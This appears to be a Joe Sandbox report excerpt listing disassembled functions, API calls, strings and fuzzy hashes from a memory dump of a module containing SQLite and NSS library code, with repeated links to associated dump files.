Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: c4bcfa86b5b5fd53f60fd4deac7f7883cecd3a234511465d0dccc4814eda9310
Instruction ID: da07a82575ac2710d6a79aa99f8564130795733147af75f9fc0ff8aeb3fdcb87
Opcode Fuzzy Hash: c4bcfa86b5b5fd53f60fd4deac7f7883cecd3a234511465d0dccc4814eda9310
Instruction Fuzzy Hash: CE22BD716087418FC704CF29C69066AB7F1BFEA354F14CA2DE8EAA7A41D735E845CB42

Function 6C7D9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C698637,?,?), ref: 6C7D9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C698637), ref: 6C7D9ED6

Strings

database corruption, xrefs: 6C7D9ECA
%s at line %d of [%.10s], xrefs: 6C7D9ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D9EC0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2eafaa49d72956760c074bba5ed6f009c4362205e9e82764812510d6e5b27828
Instruction ID: 82d363af36f3cf3adf0b1abcab4b806388aa89f1f293d32f91483abe052d2cdd
Opcode Fuzzy Hash: 2eafaa49d72956760c074bba5ed6f009c4362205e9e82764812510d6e5b27828
Instruction Fuzzy Hash: E381B231B001168FCB04CFA9CA94ADEB3F6EB58304F568569E819AB741EB30FD45CB91

Function 6C7E7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7E81BC

Strings

BINARY, xrefs: 6C7E8126
out of memory, xrefs: 6C7E835B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: a1c60cfb89f12387eaa01a0e753d93b66187326ac522c1ee1ff1f6007564c128
Instruction ID: 39fbdbb0380f7102ee48fd11da76916ec52a1eb16662094ba2691b7812ff39fd
Opcode Fuzzy Hash: a1c60cfb89f12387eaa01a0e753d93b66187326ac522c1ee1ff1f6007564c128
Instruction Fuzzy Hash: 8652C072E05218DFDB14CF99C980BADBBB2FF49318F24816ED815AB751D731A846CB90

Function 6C769EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C769ED6

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C769EE4

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C769F38

Part of subcall function 6C76D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C769F0B), ref: 6C76D03B
Part of subcall function 6C76D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C76D04E
Part of subcall function 6C76D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C76D07B
Part of subcall function 6C76D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C76D08E
Part of subcall function 6C76D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C769F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C769F59

Part of subcall function 6C769D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C769C5B), ref: 6C769D82
Part of subcall function 6C769D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C769C5B), ref: 6C769DA9
Part of subcall function 6C769D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C769C5B), ref: 6C769DCE
Part of subcall function 6C769D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C769C5B), ref: 6C769E43

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: bad160057d886b10b968fe3d962ad649b44b27ee821c3665d4970a51bcd57d4c
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 411126B5F042015BE7008B62AE08BDA7294AFA435CF150235EC0A9BF41FB62E9198291

Function 6C81CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C81D086
PR_Malloc.NSS3(00000001), ref: 6C81D0B9
PR_Free.NSS3(?), ref: 6C81D138

Strings

>, xrefs: 6C81CF5B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 13a0d4a1e6cfdbd721411b9d07651db0a325c49da596010c19560afa48b01692
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 03D15C62B4D54B4FEB35487C8EA13DAB7D38742374F684B3AD5218BFE6E61988438341

Function 6C7BAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15268edb5095a25797b3540a90bb25094eddd61ed620695beeee187c3d8f6be5
Instruction ID: a4b781b6ad608a73758e7f269b655ac748fb904b528cfdb515152e46e4c9eae0
Opcode Fuzzy Hash: 15268edb5095a25797b3540a90bb25094eddd61ed620695beeee187c3d8f6be5
Instruction Fuzzy Hash: 1FF1E071E011168FEB64CF29CA907AA77B0BB8A30CF55423DD915E7740EBB8A945CBC1

Function 6C7ADFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C685001,?,00000003,00000000), ref: 6C7ADFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C685001,?), ref: 6C7AE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C685001,?), ref: 6C7AE2DA

Strings

W, xrefs: 6C7AE111

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c90ed141cafab695da545212c8b4b18b56ae0cad1be69ad616b6fd6b133b892c
Instruction ID: 3b939c38caee9be39babf5dfc02a4dbbf2305ab1d490758dbbbbb2f7ae27b693
Opcode Fuzzy Hash: c90ed141cafab695da545212c8b4b18b56ae0cad1be69ad616b6fd6b133b892c
Instruction Fuzzy Hash: BEC11B31B0565E8BDB04CFA9C5907AA77B1BF86308F288679DC695BB41D7319823CBD0

Function 6C770E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C771052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C771086

Strings

h(wl, xrefs: 6C771062, 6C77105D, 6C770F37, 6C771081, 6C771082
h(wl, xrefs: 6C770E55, 6C770EC4, 6C770F3A, 6C770FA7

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(wl$h(wl
API String ID: 1297977491-2771381319
Opcode ID: 6f1fabc555b331707e9ed5a9fc20e061d31c69321e9e3e13b0e849d3f054c8cb
Instruction ID: 65e7ae3893bd72b26defdd0560d98972bde0c0e819f1ae791ce694d4ef006eb1
Opcode Fuzzy Hash: 6f1fabc555b331707e9ed5a9fc20e061d31c69321e9e3e13b0e849d3f054c8cb
Instruction Fuzzy Hash: 50A13C71B0125E9FDF18CF99C994AEEB7B6BF89314B148129E905A7700D735EC11CBA0

Function 6C696F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C69702B
*?[, xrefs: 6C697034, 6C697052, 6C697070
noskipscan*, xrefs: 6C697067
sz=[0-9]*, xrefs: 6C697049

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 909b8d4b99217c650901670be5702054ef703c272be4b2b1b052e80c2136504d
Instruction ID: a453264092c10c0c55b4eacab1cbf0cbadbfcfe86c208d029e9d8ef71a30a92d
Opcode Fuzzy Hash: 909b8d4b99217c650901670be5702054ef703c272be4b2b1b052e80c2136504d
Instruction Fuzzy Hash: B3718B72F042174BEB148E6DC8803DE73A39F85318F294239C959ABBD1D6719C46C7C9

Function 6C6B3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C6B3FAA, 6C6B4185
sqlite_master, xrefs: 6C6B463F
sqlite_temp_master, xrefs: 6C6B460F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 6280414f6535cd07746ccd56d9283906780171d5bd3901070249ff97280510ef
Instruction ID: 283e7b6ab516ee4b0c90d7b54dbea4a6c452f4130c2cdd75cb781d752b09fd88
Opcode Fuzzy Hash: 6280414f6535cd07746ccd56d9283906780171d5bd3901070249ff97280510ef
Instruction Fuzzy Hash: 37227931B495A64FD710CB2580602FA7BF29F47308B6C59A8CAE57FE43D271E861C784

Function 6C7EBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C7EC0B6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: bfd7f69563407a0fe8e85c7a2d7c690803e131cac66719fbbf0b73acf8b2a0d5
Instruction ID: d19ca8e5ab7d8835e8cb3f22c6a03faa0fcfe3380b8eef3f491021f9444a0e5e
Opcode Fuzzy Hash: bfd7f69563407a0fe8e85c7a2d7c690803e131cac66719fbbf0b73acf8b2a0d5
Instruction Fuzzy Hash: E992C175A002498FDB04DF58CA80BAEBBB6FF49309F284168D815ABB91D735EC46CB54

Function 6C683D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C683EA9

Strings

0, xrefs: 6C683DAB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 087a2369ed756c5f4e9c8b22edbef884ce68c5b6faff197512378b6fe7e9bb58
Instruction ID: 762a249d0e28ccfe0ba0cbe50ab9407e5ee7950a58a1001f72367c34beb6812c
Opcode Fuzzy Hash: 087a2369ed756c5f4e9c8b22edbef884ce68c5b6faff197512378b6fe7e9bb58
Instruction Fuzzy Hash: 2A514A31E4A0798AEB25467D88683FFFBB19B82314F18433BC5A167AC0C274454787F4

Function 6C72EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C72F0F9

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 9d4f4f22ab7c6869e5c78ffde2ec36101de8e4754b38b9c0ab9350ac5e91c9f2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 92918E71E0062A8BCB14CF68C9916AEB7F1FF85324F24462DD962A7BC1D734A905CB61

Function 6C752F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C777929), ref: 6C752FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C777929), ref: 6C752FE0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 7918d774f7ffb048e1c719eff0086c3fa879eddbebf82c0864ea8d41312550c2
Instruction ID: 69cade10a9bfeaa1887f986175cc9557b42edc487197aadc7e401bc3c7d018d9
Opcode Fuzzy Hash: 7918d774f7ffb048e1c719eff0086c3fa879eddbebf82c0864ea8d41312550c2
Instruction Fuzzy Hash: 52512571A04A158FD7108E55CB84B6A73B2FB40318FA94279D90D9BB22CF35E862CB90

Function 6C69AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C69AE18
winUnlockReadLock, xrefs: 6C69AE9F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: c5ef37e1a29e3bdb5820834266237ec9e6a973dd7dfe2273bab33ab39531fea2
Instruction ID: fd2a494eda0c87c5e88903445edb87bd2e87ea7d47a3e0ceb37b198bdbe7e72d
Opcode Fuzzy Hash: c5ef37e1a29e3bdb5820834266237ec9e6a973dd7dfe2273bab33ab39531fea2
Instruction Fuzzy Hash: 587191706083019FDB54CF28D894AABBBF5FF89318F14C629F98997242D734A985CBC1

Function 6C75ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C75EE3D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 1717a678c4c46101321808d0a9c9e1a279c1c434ca58c45f6b143910b651e5cc
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2971F272E117098FE718CF19CA8066AB7F2EB88304F54462DD85697B91DF39E910CB90

Function 6C685F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C686013

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 14b4b875245c0e39bfb9bdcb359ba095062cb82fd2d84282df35b9a915c0ad47
Instruction ID: 38834dc452ce8a1b1b20f1b251770a14d7110c7ef3dc98b347fac2535d338f06
Opcode Fuzzy Hash: 14b4b875245c0e39bfb9bdcb359ba095062cb82fd2d84282df35b9a915c0ad47
Instruction Fuzzy Hash: 99C13A70B161068BEB04CF19C4607EAB7F2AF45318F248168D996DBB42D735E841CBBD

